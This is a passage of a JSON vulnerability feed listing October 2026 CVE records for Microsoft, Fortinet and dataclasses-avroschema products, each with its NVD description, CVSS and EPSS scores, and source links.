to execute code over a network.","summary":"Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:41.343Z","updatedAt":"2026-10-14T04:18:05.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100214","asOf":"2026-10-14T04:18:05.470Z"},"epss":{"probability":0.02072,"percentile":0.81308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100214","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100214","type":"primary","publishedAt":"2026-10-13T19:17:41.343Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100207","cveId":"CVE-2026-100207","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.","summary":"Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.","detail":"Improper neutralization of special elements used in an os command ('os command injection') in Azure CycleCloud allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.677Z","updatedAt":"2026-10-16T14:17:06.207Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Azure"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100207","asOf":"2026-10-16T14:17:06.207Z"},"epss":{"probability":0.00442,"percentile":0.38102,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100207","type":"primary","publishedAt":"2026-10-13T19:17:40.677Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100205","cveId":"CVE-2026-100205","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in SysInternals allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:40.540Z","updatedAt":"2026-10-13T22:17:13.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100205","asOf":"2026-10-13T22:17:13.143Z"},"epss":{"probability":0.00406,"percentile":0.34627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100205","type":"primary","publishedAt":"2026-10-13T19:17:40.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23707","cveId":"CVE-2026-23707","aliases":[],"kind":"vulnerability","title":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4,...","summary":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions, FortiManager Cloud 7.6.2 through 7.6.4 may allow a low privileged user to execute arbitrary commands via crafted requests.","detail":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.4, FortiAnalyzer 7.4.0 through 7.4.7, FortiAnalyzer 7.2 all versions, FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiAnalyzer Cloud 7.4.1 through 7.4.7, FortiAnalyzer Cloud 7.2.1 through 7.2.11, FortiManager 7.6.0 through 7.6.4, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions, FortiManager Cloud 7.6.2 through 7.6.4 may allow a low privileged user to execute arbitrary commands via crafted requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:23.590Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23707","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00309,"percentile":0.2346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-23707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23707","type":"primary","publishedAt":"2026-10-13T18:17:23.590Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-23707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-23705","cveId":"CVE-2026-23705","aliases":[],"kind":"vulnerability","title":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2,...","summary":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2, FortiAnalyzer 7.4.0 through 7.4.6, FortiAnalyzer 7.2.0 through 7.2.12, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions may allow a low privileged user to execute arbitrary commands via crafted requests.","detail":"An Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiAnalyzer 7.6.0 through 7.6.2, FortiAnalyzer 7.4.0 through 7.4.6, FortiAnalyzer 7.2.0 through 7.2.12, FortiManager 7.4.0 through 7.4.6, FortiManager 7.2 all versions may allow a low privileged user to execute arbitrary commands via crafted requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:23.320Z","updatedAt":"2026-10-23T01:16:54.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Fortinet"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-23705","asOf":"2026-10-23T01:16:54.263Z"},"epss":{"probability":0.00309,"percentile":0.2346,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-23705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-23705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23705","type":"primary","publishedAt":"2026-10-13T18:17:23.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-23705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108385","cveId":"CVE-2026-108385","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_enum and EnumRepresentation.render_symbols use each schema-controlled enum symbol as a generated enum member name after case conversion but without validating it as an identifier. When generator classes are used directly, newlines and punctuation can inject constrained statements into the generated enum class body, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating every enum symbol as a name.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_enum and EnumRepresentation.render_symbols use each schema-controlled enum symbol as a generated enum member name after case conversion but without validating it as an identifier. When generator classes are used directly, newlines and punctuation can inject constrained statements into the generated enum class body, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating every enum symbol as a name.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.893Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108385","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00365,"percentile":0.3003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108385&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108385","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108385","type":"primary","publishedAt":"2026-10-13T18:17:17.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108385&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108385, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108384","cveId":"CVE-2026-108384","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed interpolates a fixed type's aliases value directly into a generated types.confixed annotation. A list is represented with quoted entries, but a bare string is emitted as an unquoted Python expression and evaluated when the generated module is imported, allowing arbitrary code execution from a crafted schema. Version 0.70.6 fixes the vulnerability by rejecting aliases values that are not lists.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed interpolates a fixed type's aliases value directly into a generated types.confixed annotation. A list is represented with quoted entries, but a bare string is emitted as an unquoted Python expression and evaluated when the generated module is imported, allowing arbitrary code execution from a crafted schema. Version 0.70.6 fixes the vulnerability by rejecting aliases values that are not lists.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.750Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108384","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00343,"percentile":0.27541,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108384&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108384","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108384","type":"primary","publishedAt":"2026-10-13T18:17:17.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108384&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108384, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108383","cveId":"CVE-2026-108383","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default renders a schema-controlled enum field default as an enum member reference after applying case conversion but without validating it as an identifier. Newlines, operators, and punctuation can escape the intended reference and inject constrained statements into the generated module, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating enum defaults as names.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, FieldRepresentation.get_field_default renders a schema-controlled enum field default as an enum member reference after applying case conversion but without validating it as an identifier. Newlines, operators, and punctuation can escape the intended reference and inject constrained statements into the generated module, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating enum defaults as names.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.610Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108383","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00287,"percentile":0.21051,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108383","type":"primary","publishedAt":"2026-10-13T18:17:17.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108382","cveId":"CVE-2026-108382","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, EnumRepresentation.render_symbols concatenates each schema-controlled enum symbol between double quotes in a generated enum assignment. When generator classes are used directly, a quote can terminate the string literal and inject arbitrary Python code into the enum class body, which executes when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping enum symbol values before rendering them.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, EnumRepresentation.render_symbols concatenates each schema-controlled enum symbol between double quotes in a generated enum assignment. When generator classes are used directly, a quote can terminate the string literal and inject arbitrary Python code into the enum class body, which executes when the generated module is imported. Version 0.70.6 fixes the vulnerability by escaping enum symbol values before rendering them.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.457Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108382","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00365,"percentile":0.3003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108382","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108382","type":"primary","publishedAt":"2026-10-13T18:17:17.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108381","cveId":"CVE-2026-108381","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.44.0 through 0.70.5, the Pydantic and AvroDantic model generators insert a schema field's pydantic-class value after pydantic. in a generated field annotation without safely restricting the expression. Because annotations are evaluated when the generated module is imported, a crafted value can execute arbitrary Python code. Version 0.70.6 fixes the vulnerability by restricting the value to a bare name or a call to a bare name with literal arguments.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.44.0 through 0.70.5, the Pydantic and AvroDantic model generators insert a schema field's pydantic-class value after pydantic. in a generated field annotation without safely restricting the expression. Because annotations are evaluated when the generated module is imported, a crafted value can execute arbitrary Python code. Version 0.70.6 fixes the vulnerability by restricting the value to a bare name or a call to a bare name with literal arguments.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T18:17:17.310Z","updatedAt":"2026-10-16T23:16:58.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108381","asOf":"2026-10-16T23:16:58.510Z"},"epss":{"probability":0.00377,"percentile":0.31396,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108381","type":"primary","publishedAt":"2026-10-13T18:17:17.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108380","cveId":"CVE-2026-108380","aliases":[],"kind":"vulnerability","title":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.","summary":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.65.9 through 0.70.5, PydanticFieldRepresentation.add_field_properties inserts a schema field's doc value between the quotes of a generated pydantic.Field description argument without escaping it. A crafted quote can terminate the string and inject an expression evaluated during generated class definition, allowing arbitrary Python code execution for Pydantic and AvroDantic model generation. Version 0.70.6 fixes the vulnerability by escaping the documentation value before rendering it.","detail":"dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.65.9 through 0.70.5, PydanticFieldRepresentation.add_field_properties inserts a schema field's doc value between the quotes of a generated pydantic.Field description argument without escaping it. A crafted quote can terminate the string and inject an expression evaluated during generated class definition, allowing arbitrary Python code execution for Pydantic and AvroDantic model generation. Version 0.70.6 fixes the vulnerability by escaping the documentation value before rendering it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 